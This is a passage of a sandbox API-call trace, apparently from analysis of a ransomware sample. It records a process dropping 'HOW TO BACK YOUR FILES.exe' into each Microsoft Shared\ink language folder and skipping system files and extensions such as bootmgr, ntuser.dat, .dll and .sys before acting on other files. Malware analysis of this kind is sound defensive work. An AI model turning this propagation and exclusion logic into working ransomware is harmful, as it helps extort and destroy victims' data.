	[0077.122] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.125] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x460a2090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x460a2090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.126] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.126] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.126] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.126] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x460a2090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x460a2090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.126] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.126] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.126] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.126] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.126] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460a2090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x460a2090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.126] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.126] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.126] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.126] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*") returned 58
	[0077.126] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.126] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.126] lstrlenW (lpString="Apollon865") returned 10
	[0077.127] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.127] lstrlenW (lpString=".dll") returned 4
	[0077.127] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.127] lstrlenW (lpString=".lnk") returned 4
	[0077.127] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.127] lstrlenW (lpString=".ini") returned 4
	[0077.127] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.127] lstrlenW (lpString=".sys") returned 4
	[0077.127] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.127] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.160] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK"
	[0077.160] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0077.160] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0077.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK") returned 56
	[0077.160] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK"
	[0077.160] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.160] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.174] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x461144b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x461144b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.175] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.175] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.175] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.175] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x461144b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x461144b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.175] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.175] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.175] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.175] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.175] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x461144b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x461144b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.175] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.175] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.175] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.176] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*") returned 58
	[0077.176] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.176] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.176] lstrlenW (lpString="Apollon865") returned 10
	[0077.176] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.176] lstrlenW (lpString=".dll") returned 4
	[0077.176] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.176] lstrlenW (lpString=".lnk") returned 4
	[0077.176] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.176] lstrlenW (lpString=".ini") returned 4
	[0077.176] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.176] lstrlenW (lpString=".sys") returned 4
	[0077.176] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.176] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.176] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ"
	[0077.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0077.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0077.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ") returned 56
	[0077.176] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ"
	[0077.176] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.176] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.181] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4613a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4613a610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.181] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.181] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.181] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.181] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4613a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4613a610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.181] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.181] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.181] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.181] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.181] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4613a610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4613a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.181] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.181] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.181] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.182] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*") returned 58
	[0077.182] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.182] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.182] lstrlenW (lpString="Apollon865") returned 10
	[0077.182] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.182] lstrlenW (lpString=".dll") returned 4
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.182] lstrlenW (lpString=".lnk") returned 4
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.182] lstrlenW (lpString=".ini") returned 4
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.182] lstrlenW (lpString=".sys") returned 4
	[0077.182] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.182] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.182] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG"
	[0077.183] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591440 | out: hHeap=0x580000) returned 1
	[0077.183] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0077.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG") returned 56
	[0077.183] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG"
	[0077.183] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.183] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.187] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4613a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4613a610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.187] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.187] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.187] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.187] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4613a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4613a610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.187] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.187] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.187] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.187] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.187] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4613a610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4613a610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.187] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.187] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.188] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*") returned 58
	[0077.188] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.188] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.188] lstrlenW (lpString="Apollon865") returned 10
	[0077.188] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.188] lstrlenW (lpString=".dll") returned 4
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.188] lstrlenW (lpString=".lnk") returned 4
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.188] lstrlenW (lpString=".ini") returned 4
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.188] lstrlenW (lpString=".sys") returned 4
	[0077.188] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.188] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.188] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA"
	[0077.188] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0077.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0077.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA") returned 56
